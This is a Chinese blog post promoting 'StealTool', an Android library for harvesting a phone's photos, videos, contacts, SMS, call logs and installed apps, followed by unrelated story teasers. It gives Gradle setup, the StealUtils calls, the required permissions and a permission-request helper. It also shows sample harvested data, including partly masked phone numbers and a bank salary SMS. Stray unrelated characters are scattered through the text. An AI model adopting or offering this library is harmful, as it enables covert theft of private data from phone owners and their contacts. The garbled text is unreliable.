盜取手機(jī)敏感信息隧膘,Android 6.0之上兼容

盜取手機(jī)敏感信息齿坷,Android 6.0之上兼容

項目介紹

  • 盜取信息包含:
    • 手機(jī)中所有照片
    • 手機(jī)中所有視頻
    • 手機(jī)中所有通訊錄
    • 手機(jī)中所有短信
    • 手機(jī)中所有通話記錄
    • 手機(jī)中所有安裝應(yīng)用
  • 兼容Android 6.0及之上版本
  • 動態(tài)權(quán)限申請工具開放

效果展示

1.照片信息
    MaterialBean{mLogo='/storage/emulated/0/Pictures/Screenshots/Screenshot_2017-07-23-01-38-14.png', title='Screenshot_2017-07-23-01-38-14.png', time='2017-07-23 01:38', filePath='/storage/emulated/0/Pictures/Screenshots/Screenshot_2017-07-23-01-38-14.png', isChecked=false, fileSize=1025172, fileId=89cfda75f36e44e3a46235937a8c3000, uploadedSize=0, fileType=6, uploaded=false, progress=0, timeStamps='1536657493366', flag='0'}

2.視頻信息
      MaterialBean{mLogo='/storage/emulated/0/DCIM/Camera/視頻/VID_20170917_130313.mp4', title='VID_20170917_130313.mp4', time='視頻時間-00:00:11', filePath='/storage/emulated/0/DCIM/Camera/視頻/VID_20170917_130313.mp4', isChecked=false, fileSize=29080924, fileId=7be02431aeff4d19b2612b686543ce10, uploadedSize=0, fileType=2, uploaded=false, progress=0, timeStamps='1536657639141', flag='0'}

3.通訊錄
    PhoneUserInfo{id='daaf163b02d44e6dabf59cfb9a8c0958', name='*鵬', number='151**054191'}
    PhoneUserInfo{id='15aebbd2e6134e59992192b095f0e67c', name='侯*利', number='1830***2828'}
    PhoneUserInfo{id='28bcabbb14e24e3da4b5bd79c10dfa46', name='*八', number='187337**438'}
    PhoneUserInfo{id='3d637ea6910f4b71a105ae06b7ba3645', name='申通小哥', number='18513**8127'}

4.短信
    [ 10659805436945326, 0, 【luckin coffee】小藍(lán)杯,北馬愛~送你一張5折券(全場飲品通用)下載app立享http://t.cn/RlQ2ad3 回TD退訂, 2018-09-11 01:42:27, 接收 ]

    [ 95555, 0, 您賬戶8693于09月11日11:42入賬工資睬棚,人民幣22267.30乍惊。[招商銀行], 2018-09-11 11:46:28, 接收 ]

5.通話記錄
     CallInfo{number='13141**2862', date=1527322406732, type=2}
    CallInfo{number='1891**85043', date=1527325280548, type=1}
    CallInfo{number='1360110**83', date=1527335837700, type=2}

6.安裝App
    AppInfo{appName='CSDN', appIcon='android.graphics.drawable.BitmapDrawable@eb62aed'}
    AppInfo{appName='皮皮蝦', appIcon='android.graphics.drawable.BitmapDrawable@4f2ad22'}
    AppInfo{appName='Chrome', appIcon='android.graphics.drawable.BitmapDrawable@66043b3'}
    AppInfo{appName='UC瀏覽器', appIcon='android.graphics.drawable.BitmapDrawable@b0f8d70'}
    AppInfo{appName='抖音短視頻', appIcon='android.graphics.drawable.BitmapDrawable@75788e9'}

最簡單使用方式

1. Add it in your root build.gradle at the end of repositories:
allprojects {
        repositories {
            ...
            maven { url 'https://jitpack.io' }
        }
    }
2. Add the dependency
dependencies {
            implementation 'com.github.pengMaster:StealTool:1.0.0'
    }
3. Add use to activity
//獲取圖片
StealUtils.getAllLocalPhotos(this@MainActivity)

//獲取視頻
StealUtils.getAllLocalVideos(this@MainActivity)

//獲取聯(lián)系人
StealUtils.getAllContactInfo(this@MainActivity)

//獲取短信
StealUtils.getSmsInPhone(this@MainActivity)

//獲取通話記錄
StealUtils.getCallInfos(this@MainActivity)

//獲取安裝所有App
StealUtils.getInstallApp(packageManager)


java (this) = kotlin (this@MainActivity)
java (getPackageManager()) = kotlin (packageManager)

4. add permission to your menifest
    <!--讀-->
    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
    <!--聯(lián)網(wǎng)-->
    <uses-permission android:name="android.permission.INTERNET" />
    <!--聯(lián)系人-->
    <uses-permission android:name="android.permission.READ_CONTACTS" />
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <!--短信-->
    <uses-permission android:name="android.permission.READ_SMS" />
    <!--通話記錄-->
    <uses-permission android:name="android.permission.READ_CALL_LOG" />

介紹一下很好用的Android6.0動態(tài)權(quán)限申請工具

申請一個權(quán)限:

PERMISSION_CAMERA = 申請權(quán)限(例如:Manifest.permission.READ_SMS)
REQUEST_CODE_CAMERA = 請求返回碼 重寫onRequestPermissionsResult()時用

PermissionUtils.checkAndRequestPermission(mContext, PERMISSION_CAMERA, REQUEST_CODE_CAMERA,
                new PermissionUtils.PermissionRequestSuccessCallBack() {
            @Override
            public void onHasPermission() {
                // 權(quán)限已被授予

            }
        });

然后在onRequestPermissionsResult中:

if(PermissionUtils.isPermissionRequestSuccess(grantResults))
                {
                    // 權(quán)限申請成功

                }

什么杜秸?要同時申請多個權(quán)限?

    PermissionUtils.checkAndRequestMorePermissions(mContext, PERMISSIONS, REQUEST_CODE_PERMISSIONS,
                new PermissionUtils.PermissionRequestSuccessCallBack() {
            @Override
            public void onHasPermission() {
                // 權(quán)限已被授予

            }
        });

當(dāng)然上面這些都不是申請權(quán)限的正確姿勢润绎,理想的姿勢應(yīng)該是:

  • 第一次申請權(quán)限:按照正常流程走撬碟;
  • 如果用戶第一次拒絕了權(quán)限申請,第二次申請時應(yīng)向用戶解釋權(quán)限用途莉撇;
  • 如果用戶勾選了“不再詢問”選項呢蛤,應(yīng)引導(dǎo)用戶去設(shè)置頁手動開啟權(quán)限。

于是棍郎,引申出了復(fù)雜版的權(quán)限申請方法:

自定義權(quán)限申請:

PERMISSION_CAMERA = 申請權(quán)限(例如:Manifest.permission.READ_SMS)
PermissionUtils.checkPermission(mContext, PERMISSION_CAMERA,
                new PermissionUtils.PermissionCheckCallBack() {
            @Override
            public void onHasPermission() {
                // 已授予權(quán)限

            }

            @Override
            public void onUserHasAlreadyTurnedDown(String... permission) {
                // 上一次申請權(quán)限被拒絕其障,可用于向用戶說明權(quán)限原因,然后調(diào)用權(quán)限申請方法涂佃。
            }

            @Override
            public void onUserHasAlreadyTurnedDownAndDontAsk(String... permission) {
                // 第一次申請權(quán)限或被禁止申請權(quán)限励翼,建議直接調(diào)用申請權(quán)限方法。
            }
        });

然后在onRequestPermissionsResult中:

PermissionUtils.onRequestPermissionResult(mContext, PERMISSION_CAMERA, grantResults, new PermissionUtils.PermissionCheckCallBack() {
                    @Override
                    public void onHasPermission() {

                    }

                    @Override
                    public void onUserHasAlreadyTurnedDown(String... permission) {
                        Toast.makeText(mContext, "我們需要"+Arrays.toString(permission)+"權(quán)限", Toast.LENGTH_SHORT).show();
                    }

                    @Override
                    public void onUserHasAlreadyTurnedDownAndDontAsk(String... permission) {
                        Toast.makeText(mContext, "我們需要"+Arrays.toString(permission)+"權(quán)限", Toast.LENGTH_SHORT).show();
                        // 顯示前往設(shè)置頁的dialog
                        );
                    }
                });

參與貢獻(xiàn)

  1. Fork 本項目
  2. 新建 Feat_xxx 分支
  3. 提交代碼
  4. 新建 Pull Request
  5. 權(quán)限工具參考:https://github.com/ifadai/PermissionUtils

github地址

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末辜荠,一起剝皮案震驚了整個濱河市汽抚,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌侨拦,老刑警劉巖殊橙,帶你破解...
    沈念sama閱讀 218,941評論 6 508
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異,居然都是意外死亡膨蛮,警方通過查閱死者的電腦和手機(jī)叠纹,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,397評論 3 395
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來敞葛,“玉大人誉察,你說我怎么就攤上這事∪切常” “怎么了持偏?”我有些...
    開封第一講書人閱讀 165,345評論 0 356
  • 文/不壞的土叔 我叫張陵,是天一觀的道長氨肌。 經(jīng)常有香客問我鸿秆,道長,這世上最難降的妖魔是什么怎囚? 我笑而不...
    開封第一講書人閱讀 58,851評論 1 295
  • 正文 為了忘掉前任卿叽,我火速辦了婚禮,結(jié)果婚禮上恳守,老公的妹妹穿的比我還像新娘考婴。我一直安慰自己,他們只是感情好催烘,可當(dāng)我...
    茶點故事閱讀 67,868評論 6 392
  • 文/花漫 我一把揭開白布沥阱。 她就那樣靜靜地躺著,像睡著了一般伊群。 火紅的嫁衣襯著肌膚如雪考杉。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,688評論 1 305
  • 那天舰始,我揣著相機(jī)與錄音奔则,去河邊找鬼。 笑死蔽午,一個胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的酬蹋。 我是一名探鬼主播及老,決...
    沈念sama閱讀 40,414評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼范抓!你這毒婦竟也來了骄恶?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 39,319評論 0 276
  • 序言:老撾萬榮一對情侶失蹤匕垫,失蹤者是張志新(化名)和其女友劉穎僧鲁,沒想到半個月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,775評論 1 315
  • 正文 獨居荒郊野嶺守林人離奇死亡寞秃,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,945評論 3 336
  • 正文 我和宋清朗相戀三年斟叼,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片春寿。...
    茶點故事閱讀 40,096評論 1 350
  • 序言:一個原本活蹦亂跳的男人離奇死亡朗涩,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出绑改,到底是詐尸還是另有隱情谢床,我是刑警寧澤,帶...
    沈念sama閱讀 35,789評論 5 346
  • 正文 年R本政府宣布厘线,位于F島的核電站绎晃,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏谓着。R本人自食惡果不足惜绪商,卻給世界環(huán)境...
    茶點故事閱讀 41,437評論 3 331
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望费薄。 院中可真熱鬧硝全,春花似錦、人聲如沸楞抡。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,993評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽召廷。三九已至凳厢,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間竞慢,已是汗流浹背先紫。 一陣腳步聲響...
    開封第一講書人閱讀 33,107評論 1 271
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機(jī)就差點兒被人妖公主榨干…… 1. 我叫王不留筹煮,地道東北人遮精。 一個月前我還...
    沈念sama閱讀 48,308評論 3 372
  • 正文 我出身青樓,卻偏偏與公主長得像败潦,于是被迫代替她去往敵國和親本冲。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 45,037評論 2 355

推薦閱讀更多精彩內(nèi)容

  • Android 自定義View的各種姿勢1 Activity的顯示之ViewRootImpl詳解 Activity...
    passiontim閱讀 172,167評論 25 707
  • 用兩張圖告訴你劫扒,為什么你的 App 會卡頓? - Android - 掘金 Cover 有什么料檬洞? 從這篇文章中你...
    hw1212閱讀 12,730評論 2 59
  • 一、引言 隨著Android6.0發(fā)布沟饥,系統(tǒng)增加了一些新的特性和功能添怔。這次的發(fā)布介紹了一種新的權(quán)限機(jī)制湾戳。用戶可以在...
    宇是我閱讀 7,441評論 7 41
  • 到了梅西湖,一大群人坐在草坪上广料,當(dāng)然慕與是挽著她那胖墩墩的男朋友砾脑,我微笑的走在她后面,一起坐在草坪上性昭,看著這些陌生...
    愛吹風(fēng)的妖妖閱讀 270評論 0 1
  • 1拦止、與其臨淵羨魚,不如退而結(jié)網(wǎng)糜颠。 2汹族、若不給自己設(shè)限,則人生中就??沒有限制你發(fā)揮的藩籬其兴。 3顶瞒、賺錢之道很多,但是...
    Kayan阿嘉閱讀 1,437評論 3 25